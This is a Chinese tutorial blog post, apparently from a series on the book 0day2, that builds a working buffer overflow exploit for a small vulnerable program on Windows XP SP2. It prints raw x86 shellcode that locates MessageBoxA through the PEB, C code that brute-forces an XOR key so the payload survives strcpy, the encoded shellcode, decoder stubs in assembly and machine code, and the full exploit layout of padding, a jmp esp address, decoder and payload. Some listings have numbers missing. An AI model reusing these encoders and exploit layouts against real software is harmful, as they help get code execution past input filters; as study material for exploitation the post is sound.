紧接上一篇,结合第一篇

//这篇文章主要成功溢出一个带有缓冲区溢出的小程序,其中我们的shellcode被strcpy截断了所以我们需要变形shellcode,这个实验中也出现了很多意想不到的拦路虎,但是我们巧妙的避开了

我通过vc++6.0 调试模式下下的disassemly窗口获取到了机器码

\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8

但是我们直接结合第一篇文章,做实验的话,此代码会被截断的.因为有0开头的字节,od调试证明FC686A0A,就是开头处,0A处被截断了,所以我没不得不学习 “对shellcode编码”的技术。

shellcode变形就是先用简单的运算把shellcode变的他娘也不认识他以后(其实主要解决一问题,我们才会使用变形记的,就咱这个字符串含有0的问题,必须把它的零去掉)

再在变形后的shellcode前边放上,我们的解码部分,当EIP进入我们的代码后,解码部分先还原我们的shellcode,再把控制权EIP给我们的shellcode。

0day2 第三章中的《会变形的shellcode》》(p99)中

编码运算用的异或

key 0x44

但是0day2里的实验过于简单,对于我们来说,我们得解决字符串截断的问题:

     int ishellcodelen = sizeof(shellcode);
xorshellcode = new char[ishellcodelen + ];
memset(xorshellcode,0x00,ishellcodelen+);
cpy = new char[ishellcodelen + ];
memset(cpy,0x00,ishellcodelen+);
//printf(" %d = %d \r\n",ishellcodelen,strlen((const char *)shellcode));
int i =;
/*
for(int j =0;j < 0xff;j++)
{ for(i =0;i < ishellcodelen;i++)
{
xorshellcode[i] = shellcode[i] ^ j; }
strcpy(cpy,xorshellcode);
if(strlen(cpy) == strlen(xorshellcode))
{
printf("cpy is %d , xor is %d ",strlen(cpy),strlen(xorshellcode));
printf("%x \r\n",j);
}
}
*/ /*
for( i =0;i < ishellcodelen;i++)
{
printf("0x%0.2x ",xorshellcode[i]); } printf("\r\n %d = %d \r\n",ishellcodelen,strlen((const char *)xorshellcode));
*/ for(i =;i < ishellcodelen;i++)
{
xorshellcode[i] = shellcode[i] ^ 0xCE;
}
FILE * fp; if(!(fp=fopen("password2.txt","w+")))
{
printf("fp fopen flaid \n");
int e = GetLastError();
exit();
}
//int l = fputs((const char *)&(xorshellcode[0]),fp);
int l = fwrite(xorshellcode,strlen(xorshellcode),sizeof( char),fp);
printf("fp write byte %d \n",l);
l = GetLastError();
fclose(fp);/**/

结果

cpy is  , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is a
cpy is , xor is b
cpy is , xor is c
cpy is , xor is d
cpy is , xor is e
cpy is , xor is f
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is 1a
cpy is , xor is 1b
cpy is , xor is 1c
cpy is , xor is 1d
cpy is , xor is 1e
cpy is , xor is 1f
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is 2a
cpy is , xor is 2b
cpy is , xor is 2c
cpy is , xor is 2d
cpy is , xor is 2e
cpy is , xor is 2f
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is 3a
cpy is , xor is 3b
cpy is , xor is 3c
cpy is , xor is 3d
cpy is , xor is 3e
cpy is , xor is 3f
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is 4a
cpy is , xor is 4b
cpy is , xor is 4c
cpy is , xor is 4d
cpy is , xor is 4e
cpy is , xor is 4f
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is 5a
cpy is , xor is 5b
cpy is , xor is 5c
cpy is , xor is 5d
cpy is , xor is 5e
cpy is , xor is 5f
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is 6a
cpy is , xor is 6b
cpy is , xor is 6c
cpy is , xor is 6d
cpy is , xor is 6e
cpy is , xor is 6f
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is 7a
cpy is , xor is 7b
cpy is , xor is 7c
cpy is , xor is 7d
cpy is , xor is 7e
cpy is , xor is 7f
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is 8a
cpy is , xor is 8b
cpy is , xor is 8c
cpy is , xor is 8d
cpy is , xor is 8e
cpy is , xor is 8f
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is
cpy is , xor is 9a
cpy is , xor is 9b
cpy is , xor is 9c
cpy is , xor is 9d
cpy is , xor is 9e
cpy is , xor is 9f
cpy is , xor is a0
cpy is , xor is a1
cpy is , xor is a2
cpy is , xor is a3
cpy is , xor is a4
cpy is , xor is a5
cpy is , xor is a6
cpy is , xor is a7
cpy is , xor is a8
cpy is , xor is a9
cpy is , xor is aa
cpy is , xor is ab
cpy is , xor is ac
cpy is , xor is ad
cpy is , xor is ae
cpy is , xor is af
cpy is , xor is b0
cpy is , xor is b1
cpy is , xor is b2
cpy is , xor is b3
cpy is , xor is b4
cpy is , xor is b5
cpy is , xor is b6
cpy is , xor is b7
cpy is , xor is b8
cpy is , xor is b9
cpy is , xor is ba
cpy is , xor is bb
cpy is , xor is bc
cpy is , xor is bd
cpy is , xor is be
cpy is , xor is bf
cpy is , xor is c0
cpy is , xor is c1
cpy is , xor is c2
cpy is , xor is c3
cpy is , xor is c4
cpy is , xor is c5
cpy is , xor is c6
cpy is , xor is c7
cpy is , xor is c8
cpy is , xor is c9
cpy is , xor is ca
cpy is , xor is cb
cpy is , xor is cc
cpy is , xor is cd
cpy is , xor is ce
cpy is , xor is cf
cpy is , xor is d0
cpy is , xor is d1
cpy is , xor is d2
cpy is , xor is d3
cpy is , xor is d4
cpy is , xor is d5
cpy is , xor is d6
cpy is , xor is d7
cpy is , xor is d8
cpy is , xor is d9
cpy is , xor is da
cpy is , xor is db
cpy is , xor is dc
cpy is , xor is dd
cpy is , xor is de
cpy is , xor is df
cpy is , xor is e0
cpy is , xor is e1
cpy is , xor is e2
cpy is , xor is e3
cpy is , xor is e4
cpy is , xor is e5
cpy is , xor is e6
cpy is , xor is e7
cpy is , xor is e8
cpy is , xor is e9
cpy is , xor is ea
cpy is , xor is eb
cpy is , xor is ec
cpy is , xor is ed
cpy is , xor is ee
cpy is , xor is ef
cpy is , xor is f0
cpy is , xor is f1
cpy is , xor is f2
cpy is , xor is f3
cpy is , xor is f4
cpy is , xor is f5
cpy is , xor is f6
cpy is , xor is f7
cpy is , xor is f8
cpy is , xor is f9
cpy is , xor is fa
cpy is , xor is fb
cpy is , xor is fc
cpy is , xor is fd
cpy is , xor is fe
fp write byte
Press any key to continue

再结合od动态观察 0xCE解决了我们的问题!

 0012FB23         A6 A4 C4 F6 D0 A6 AD  1F  A6 FC BA    2Δ啮笑璆仸
0012FB33 5F C2 3A B0 C2 FD CA E5 2D A8 FD _翬:C奥?y叔-╱?
0012FB43 FC 9D A6 BB BD AB BC 9A FD 1C AA FE 鼭将細?狤旫E?
0012FB53 C2 D2 A7 C6 B7 EE C7 A8 F7 翬囈櫂EE奉E迁?
0012FB63 D6 BB 3C F3 A4 C4 F6 D0 BB CB 5B 欀?悜c螭啮谢薣1
0012FB73 5B AE 8B F2 CB B6 CD EE ?[瓻嬺E偹锻E楊
0012FB83 CD FD FA CD 3B C1 C8 F4 ??塃鷘?W羛若.
0012FB93 A4 C4 F6 D0 A6 AD 1F A6 FC BA 5F C2 3A つ鲂ΝG仸_翬:
0012FBA3 B0 C2 FD CA E5 2D A8 FD FC 9D A6 BB C奥?y叔-╱潶?
0012FBB3 BD AB BC 9A FD 1C AA FE C2 D2 将細?狤旫E吢E囈
0012FBC3 A7 C6 B7 EE C7 A8 F7 D6 BB 3C 櫂EE奉E迁鳈只<
0012FBD3 F3 A4 C4 F6 D0 BB CB 5B 悜c螭啮谢薣1?

对照winhex导出的hex

\x32\xA6\xA4\xC4\xF6\xD0\xA6\xAD\x47\x1F\x81\xA6\xFC\xBA\x5F\xC2\x45\x3A\x43\xB0\xC2\xFD\x15\x79\xCA\xE5\x2D\xA8\x75\xFD\xFC\x9D\xA6\xBB\xBD\xAB\xBC\x9A\xFD\x1C\xAA\x45\x94\xFE\x45\x85\xC2\x45\x87\xD2\x99\x98\x45\xA7\xC6\x45\xB7\xEE\x45\xC7\xA8\xF7\x99\xD6\xBB\x3C\x90\x91\x63\xF3\xA4\xC4\xF6\xD0\xBB\xCB\x5B\x31\x99\x36\x5B\xAE\x45\x8B\xF2\x45\x82\xCB\xB6\xCD\x03\x45\x97\xEE\xCD\x13\xFD\x31\x89\x45\xFA\x75\xCD\x3B\x57\xC1\x70\xC8\xF4\x0D\x0A\xBA\xC6\x0F\x04\xC9\xCD\x1E\x88\x25\x3F\xF5\x9A\xEA\xD2\xBB\x2A\x45\x97\xEA\xCD\x13\xA8\x45\xF2\xB5\x45\x97\xD2\xCD\x13\xCD\xE2\x75\x5B\x91\x65\x99\xAF\xF3\xA4\xC4\xF6\xD0\xBB\x67\xFD\x15\x9D\xA6\xAF\xAF\xAF\xAF\xA6\xAC\xAC\xAC\xAC\x45\x0D\x0A\x9D\x9E\x9E\x9D\x31\x99\x32\x9D\x31\x99\x36

原以为解决问题了对照发现从红线处到结尾倒数第四个处都被改动了 万恶的代码! 还得继续搞!

再不行就在空间里搜索shellcode,执行。

功夫不亏有心人,我又试了几个数据,发现 key AE 解决问题了 呵呵

od堆栈里的数据

 0012FB28   C6 C4 A4  B0 C6 CD  7F E1 C6 9C DA 3F A2  R颇捌?崞溭??
0012FB38 5A D0 A2 9D AA 4D C8 9D 9C FD %Z#孝漸獏M?潨?
0012FB48 C6 DB DD CB DC FA 9D 7C CA F4 9E E5 A2 欺菟茭潀?魹%澧%
0012FB58 E7 B2 F9 F8 C7 A6 D7 8E A7 C8 F9 B6 绮%铅%讕%楖?
0012FB68 DB 5C F0 F1 C4 A4 B0 DB AB 3B F9 踈瘃撃佰?Q鵙
0012FB78 3B CE EB E2 AB D6 AD F7 8E AD ;?霋%猥汁c%鲙璼
0012FB88 9D E9 9A AD 5B A1 A8 6A DA A6 漄??璠7?〝j讦
0012FB98 6F A9 AD 7E E8 5F FA 8A B2 DB 4A F7 od┉~鐴_曻姴跩%?
0012FBA8 8A AD C8 D5 F7 B2 AD AD 3B 姯s?捳%鞑璼瓊;
0012FBB8 F1 F9 CF C4 A4 B0 DB 9D FD C6 CF ?撃佰漸?
0012FBC8 CF CF CF C6 CC CC CC CC 6A FD FE FE FD F9 舷掀烫烫%jQ?
0012FBD8 FD F9 DB AB 3B 51 F9 56 3B CE 25 EB R齉鵙.郢;Q鵙;??
13 0012FBE8 92 25 E2 AB D6 AD 63 25 F7 8E AD 73 9D 51 E9 25 ?猥汁c%鲙璼漄?
14 0012FBF8 9A 15 AD 5B 37 A1 10 A8 94 6A DA A6 6F 64 A9 AD ?璠7?〝j讦od┉
15 0012FC08 7E E8 45 5F 95 FA 8A B2 DB 4A 25 F7 8A AD 73 C8 ~鐴_曻姴跩%鲓璼?
16 0012FC18 25 92 D5 25 F7 B2 AD 73 AD 82 15 3B F1 05 F9 CF %捳%鞑璼瓊;?
17 0012FC28 93 C4 A4 96 B0 DB 07 9D 75 FD C6 CF CF CF CF C6 撃佰漸舷舷?
18 0012FC38 CC CC CC CC 25 6A FD FE FE FD 51 F9 52 FD 51 F9 烫烫%jQ鵕齉?
19 0012FC48 56 V

粉色部分为重复的数据,我也不仔细对照了。 key AE,长度181字节+00结尾 = 182

那我们来学习下解码部分,参考0day2(p101)处的代码

 #include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
// AE xor 后的代码
char xorshellcode[] ={"\x52\xC6\xC4\xA4\x96\xB0\xC6\xCD\x27\x7F\xE1\xC6\x9C\xDA\x3F\xA2\x25\x5A\x23\xD0\xA2\x9D\x75\x19\xAA\x85\x4D\xC8\x15\x9D\x9C\xFD\xC6\xDB\xDD\xCB\xDC\xFA\x9D\x7C\xCA\x25\xF4\x9E\x25\xE5\xA2\x25\xE7\xB2\xF9\xF8\x25\xC7\xA6\x25\xD7\x8E\x25\xA7\xC8\x97\xF9\xB6\xDB\x5C\xF0\xF1\x03\x93\xC4\xA4\x96\xB0\xDB\xAB\x3B\x51\xF9\x56\x3B\xCE\x25\xEB\x92\x25\xE2\xAB\xD6\xAD\x63\x25\xF7\x8E\xAD\x73\x9D\x51\xE9\x25\x9A\x15\xAD\x5B\x37\xA1\x10\xA8\x94\x6A\xDA\xA6\x6F\x64\xA9\xAD\x7E\xE8\x45\x5F\x95\xFA\x8A\xB2\xDB\x4A\x25\xF7\x8A\xAD\x73\xC8\x25\x92\xD5\x25\xF7\xB2\xAD\x73\xAD\x82\x15\x3B\xF1\x05\xF9\xCF\x93\xC4\xA4\x96\xB0\xDB\x07\x9D\x75\xFD\xC6\xCF\xCF\xCF\xCF\xC6\xCC\xCC\xCC\xCC\x25\x6A\xFD\xFE\xFE\xFD\x51\xF9\x52\xFD\x51\xF9\x56"}; void decode()
{
DWORD p = (DWORD)xorshellcode;
_asm{
mov eax,p       //eax = xorshellcode起始位置
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl,0xAE      //key AE
mov [eax+ecx],bl
inc eax
cmp bl,0x00      //字符串的结尾00
jne decode_loop
}
void (*pfun)(void);
pfun =(void(* )(void))&xorshellcode[];
pfun();
}
int main(int argc, char* argv[])
{
decode();
return ;
}

执行效果ok ,验证说明此解码汇编OK

下一步呀,我们得简单修改下,结合0day2(p101)代码

代码下的提示说 eax是指向 shellcode的起始地址;我们如何获得这个地址呢?我参考了老罗那里的知识

 call zhenw0        // push eip ,jmp zhenw0

zhenw0:

    pop eax            // eax = eip = offset call zhenw0 处的内存地址

据老罗说这是病毒惯用手法

现在eax还得已经接近shellcode的地址了,还需要微调下,具体得od动态跟踪可知

卧槽,我发现,老罗的办法在咱们这里失效了,call zhenw0   会出现大量00 ,看来这个办法不行

_asm{
call zhenw0 zhenw0:
pop eax
add eax,0x15
xor ecx,ecx decode_loop:
mov bl,[eax+ecx]
xor bl,0xAE
mov [eax+ecx],bl
inc eax
cmp bl,0x00
jne decode_loop shellcode: //用nop代替shellcode,
nop
nop
nop
nop
}

,我还有个其他办法:就是实验一用的jmp esp (7ffa4512),其后紧接咱们的shellcode其实 ,esp此时就指向我们的 decoder + shellcode ;所以mov eax,esp

在 add eax ,0x??就可以了

那么接着上面的想法继续

最后的解码部分的汇编代码为

void getshellcodeoffset()
{
_asm{ mov eax,esp
add eax,0x16
xor ecx,ecx decode_loop:
mov bl,[eax+ecx]
xor bl,0xAE
mov [eax+ecx],bl
inc ecx
cmp bl,0xEE //结尾处要添加EE,最为结尾标志
jne decode_loop shellcode: //用nop代替shellcode,
nop
nop
nop
nop
} }

其对应的机器码是

 \x8B\xC4\x83\xC0\x16\x33\xC9\x8A\x1C\x08\x80\xF3\xAE\x88\x1C\x08\x41\x80\xFB\xEE\x75\xF1 //这是decoder部分的机器码

其整个文件的结构是   abcdef...+jmp esp(控制EIP)+decoder +xor_shellcode

jmp esp 控制EIP 向后跳 来到decoder处,decoder循环解码xor_shellcode解码完毕,继续向后走,进入shellcode的控制范围,弹出msg

下图是解码前后的od真相图

旧书重温:0day2【5】shellcode变形记-LMLPHP

上图为 解码前的图 其中12Fb3aA处的代码就是xor_shellcode的代码 为 52c6......

旧书重温:0day2【5】shellcode变形记-LMLPHP

上图为 解码后图 12FB3A处已经被还原好了。。。。变为了FC68........此时已经执行到了 12FB3A处,就是shellcode的空间内,继续走下去就 MSG了!

旧书重温:0day2【5】shellcode变形记-LMLPHP

源代码和生成的exe 已经 password2.txt 文件我都打包了 http://pan.baidu.com/s/1pHE7p

其中测试环境xp sp2 vc++6.0  使用的jmp esp(7ffa4512lion提供的那个) 控制EIP,win7下需要自行查找jmp esp,自行修改1245FA7F

----------------------------------------------------

| QQ252738331

| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)

| 微博:http://t.qq.com/zhenw0

----------------------------------------------------

05-11 18:21